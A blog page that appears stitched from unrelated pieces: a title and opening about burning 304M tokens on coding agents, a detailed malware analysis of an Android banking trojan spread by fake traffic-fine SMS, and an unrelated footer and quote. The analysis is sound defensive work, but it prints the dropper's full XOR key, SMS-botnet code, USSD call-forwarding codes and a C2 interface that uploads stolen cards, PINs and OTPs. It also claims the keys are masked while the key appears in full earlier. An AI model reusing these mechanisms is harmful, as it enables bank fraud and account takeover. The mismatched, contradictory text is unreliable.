Pushing Coding Agents to the Edge: Lessons from Burning 304M Tokens
This Saturday, I burned through 304 million tokens, roughly equivalent to 2,800 to 3,000 books. The idea was simple.
Earlier today, a text message arrived on my wife's phone citing our two-wheeler registration number and claiming a ₹2,500 traffic fine. I pulled the APK into an isolated reverse-engineering environment: here is the technical breakdown of the Android banking trojan, call-forwarding hijacker, and background SMS botnet inside.

Earlier today, a text message arrived on my wife’s phone:
"Violation Of Traffic INR.2500 Generated for KA-XX-XX-XXXX View: https://[spoofed-transport-subdomain][.]duckdns[.]org"
She looked at it and asked if I had missed a traffic signal, because the text cited our two-wheeler's exact registration number (KA-XX-XX-XXXX) and claimed a fine of ₹2,500 needed to be settled immediately.
To anyone unfamiliar with common cyberattack patterns, the message looked legitimate. The vehicle number was correct, the fine amount seemed realistic, and the phrasing sounded official.
However, the link pointed to a duckdns.org address. DuckDNS is a free dynamic DNS service frequently abused by cybercriminals. In India, genuine traffic fines and transport services are managed exclusively through official government domains (.gov.in). Transport departments never send links prompting citizens to download an Android APK file to clear a fine.
I asked her not to open the link, pulled the file (Mparivahan.apk) into an isolated reverse-engineering environment on my laptop, and analyzed its code.
What the code revealed was not just a credential-harvesting webpage, but an Android banking trojan, SMS stealer, carrier USSD call-forwarding hijacker, and distributed SMS botnet operated through an administration backend known as "Nexus Panel".
Below is a detailed, section-by-section breakdown of how this attack works, what the code does, and why it is dangerous.
A standard phishing webpage has significant technical limitations for an attacker. It can only record information that a user manually types into form fields (such as a card number). Once the victim leaves the webpage, the attacker’s access is cut off. Furthermore, the attacker cannot capture the One-Time Password (OTP) sent to the user's phone unless the user manually types it into the same fake site before the timer expires.
By convincing a victim to install an Android application instead, the attacker gains continuous, system-level access to the device:
The downloaded file Mparivahan.apk (com.smart.receiver.gfrht67) is what security analysts call a dropper. Its primary purpose is not to execute the fraud directly, but to bypass automated security scanners, decrypt a hidden secondary payload, and install it onto the phone.
When attempting to unpack the APK using standard tools, the file causes errors:
checkdir error: AndroidManifest.xml exists but is not directory
unable to process AndroidManifest.xml/..xml
The attackers intentionally constructed the APK's archive headers with corrupted path structures (AndroidManifest.xml/..xml) and encrypted dummy entries. Automated security scanning systems and decompilers often fail or crash when attempting to parse archives structured this way.
Inside the APK's assets/ directory is a 15 MB file named onnx_model.bin:
Size: 15,070,072 bytes
Header bytes (hex): 08 3a 34 69 4b 32 70 5a ...
Attackers frequently use file names associated with AI or machine learning models (such as .bin or .onnx) because security filters often assume large binary files are inert data rather than executable code.
The APK contains a compiled native C library: lib/arm64-v8a/libpayload.so. Disassembling this library reveals a function named Java_com_sanaminfo_payload_installer_Kf9x2_getSecretKey:
0000000000000800 <Java_com_sanaminfo_payload_installer_Kf9x2_getSecretKey>:
82e: lea -0x23f(%rip),%rsi # Loads string fragment: "Xq7mK2..."
840: call 9a0 <__strcat_chk@plt>
845: lea -0x23c(%rip),%rsi # Loads string fragment: "wT1vL6..."
854: call 9a0 <__strcat_chk@plt>
859: lea -0x23d(%rip),%rsi # Loads string fragment: "cY5dA0..."
868: call 9a0 <__strcat_chk@plt>
876: call *0x538(%rax) # Assembles and returns key
893: ret
The native library dynamically combines these three string fragments into a 32-byte secret key:
Secret Key ($K$): "Xq7mK2pR8nF4wT1vL6sE3hB9cY5dA0jZ"
In the class Kf9x2.b, the app reads onnx_model.bin into memory and performs a cyclic XOR operation against this 32-byte key:
DecryptedByte[i] = CipherByte[i] XOR Key[i % 32]
When we take the first 4 bytes of onnx_model.bin (0x08, 0x3a, 0x34, 0x69) and XOR them with the first 4 bytes of the key ('X', 'q', '7', 'm'), the result is:
0x08 ^ 0x58 = 0x50 ('P')0x3a ^ 0x71 = 0x4b ('K')0x34 ^ 0x37 = 0x03 (\x03)0x69 ^ 0x6d = 0x04 (\x04)The output starts with PK\x03\x04—the standard file header of a ZIP/APK file.
The decrypted file is written to the app's cache directory, and the dropper uses Android's PackageInstaller APIs to prompt the installation of the true malicious application: com.veltrix.documents (Mparivahan NextGen).
The decrypted application contains over 300 classes designed to simulate a government utility while capturing sensitive financial data.
When opened, the activity ChallanWebActivity loads an in-app web browser view:
webView.loadUrl("https://echallan.parivahan.gov.in/index/accused-challan");
By displaying the actual government e-challan portal inside the app frame, the user sees familiar branding and assumes the application is legitimate.
When the user taps the button to pay the fine, the app switches away from the official portal to fraudulent input screens:
CardPaymentActivity): Prompts the user to enter their card number, expiry date, CVV, and name. It intentionally shows a "Payment Failed" screen afterwards, prompting the user to re-enter details or try another card.UpIPinActivity): Displays a simulated UPI payment screen. Most banking and UPI apps rely on secure system keyboards that prevent screen capture. To get around this, the malware creates its own numeric keypad buttons directly on the screen (btn_key_0 through btn_key_9). It captures the victim's UPI PIN and displays an "Incorrect UPI PIN" error to get them to type it a second time for confirmation.This software is not just an information collector. The decompiled code reveals several active, high-risk mechanisms:
| Threat Vector | Underlying Mechanism | Real-World Danger to Victim |
|---|---|---|
| 1. Mass SMS Spamming | SmsManager.sendMultipartTextMessage |
Phone turns into botnet node sending spam; victim's number gets blocked and reported. |
| 2. Call Forwarding Hijack | Secret USSD *21*<Hacker_Number># |
Forwards voice calls to attacker; voice 2FA authentication calls ring on hacker's phone. |
| 3. Live OTP Interception | android.provider.Telephony.SMS_RECEIVED |
Reads incoming bank OTPs and uploads them to C2 server within 2 seconds. |
| 4. Notification Snooping | NotificationListenerService |
Captures WhatsApp OTPs, banking deduction alerts, and authenticator codes. |
| 5. Contact & Call Harvesting | DeviceInfoCollector (contacts, logs) |
Scrapes recent 100 calls and contact list for targeted extortion or family impersonation. |
In FirebaseRepo.sendSmsWithConfirmation, the app accesses Android's telephony service:
SmsManager smsManager = SmsManager.getDefault();
ArrayList<String> parts = smsManager.divideMessage(outboxItem.getText());
smsManager.sendMultipartTextMessage(
outboxItem.getNumber(),
null,
parts,
sentIntents,
deliveryIntents
);
GET /api/outbox/pull. The application quietly sends the smishing message to those numbers using the victim's own SIM card.+91 XXXXX XXXXX), avoiding commercial spam filters.When a bank's fraud detection system identifies an unusual transaction, it often places an automated verification phone call asking the account holder to press a key to confirm the transfer.
The class CallForwardingHelper circumvents this security check by silently executing carrier USSD codes through Android's TelecomManager:
Dials: *21*<Hacker_Forward_Number>#
Verifies via: *#21#
SmsReceiver, the app monitors android.provider.Telephony.SMS_RECEIVED./api/data/sms/batch/new).SmsSyncWorker) to collect bank names, account balance alerts, and previous transactions.During setup, MainActivity directs the user to Android's "Notification Access" settings screen (ACTION_NOTIFICATION_LISTENER_SETTINGS) and prompts them to enable access.
Through DeviceInfoCollector, the app gathers:
getCallLogs).getContacts).com.google).This information can be used for targeted follow-up fraud, such as calling family members and pretending the victim is in an emergency.
All captured data is transmitted over the internet to a centralized server backend:
C2 URL: https://[hacker-c2-panel][.]in/api/
The app defines its communication interface using Retrofit (FirebaseRepo$PanelApi):
public interface PanelApi {
@POST("device/installed")
Call<OkResp> deviceInstalled(@Body DeviceInstallReq req);
@POST("presence/beat")
Call<OkResp> presenceBeat(@Body PresenceBeatReq req);
@POST("data/payments")
Call<OkResp> payment(@Body PaymentReq req); // Sends stolen cards and UPI PINs
@POST("data/sms/batch/new")
Call<SmsBatchResp> smsBatchNew(@Body SmsBatchReq req); // Sends live OTPs
@GET("devices/call_forwarding")
Call<CfGetResp> cfGet(); // Retrieves the phone number to forward calls to
@GET("outbox/pull")
Call<OutboxPullResp> outboxPull(); // Downloads phone numbers for mass SMS sending
}
9143f112...[REDACTED]) and a customer campaign ID (KPjPWV...[REDACTED]).[redacted-panel]-default-rtdb.firebaseio.com) to receive real-time commands and check for server address updates.(Live domains and specific keys have been masked for responsible disclosure; unredacted data has been provided to cybercrime authorities)
| Item | Identifier / Pattern | Purpose |
|---|---|---|
| Download Link | [spoofed-transport-subdomain][.]duckdns[.]org |
The link sent in the smishing text |
| C2 Server | https://[hacker-c2-panel][.]in/api/ |
The server collecting stolen data |
| Decoy Portal | echallan.parivahan.gov.in |
Genuine portal loaded inside the app |
| Dropper Key | Xq7mK2...[REDACTED] |
32-byte key that decrypts the real payload |
| Cloud Database | [redacted]-default-rtdb[.]firebaseio[.]com |
Real-time command sync |
| Package Names | com.smart.receiver.gfrht67, com.veltrix.documents |
App package names on the device |
.gov.in (such as echallan.parivahan.gov.in). Transport departments do not distribute .apk files or use free dynamic DNS domains.*#21#. If it indicates that voice calls are forwarded to an unfamiliar number, dial ##21# immediately to turn off all forwarding rules.cybercrime.gov.in or call the helpline at 1930.
Writer & Technologist
Writing on careers, AI autonomy, mental models, and the evolving nature of work. If this essay made you reflect, explore the topic hub or subscribe for periodic dispatches.
This Saturday, I burned through 304 million tokens, roughly equivalent to 2,800 to 3,000 books. The idea was simple.
I had been trying to write a complex piece of software to test the true capabilities of existing AI coding agents. The idea was to build a Python like compiler native to a web framework.
Safe is “someone is kind to you today.” Secure is “you trust they’ll support you even during conflict.
Discussion
1Join the conversation
Sign in with Google to post your thoughts, reply to other readers, and like insightful reflections.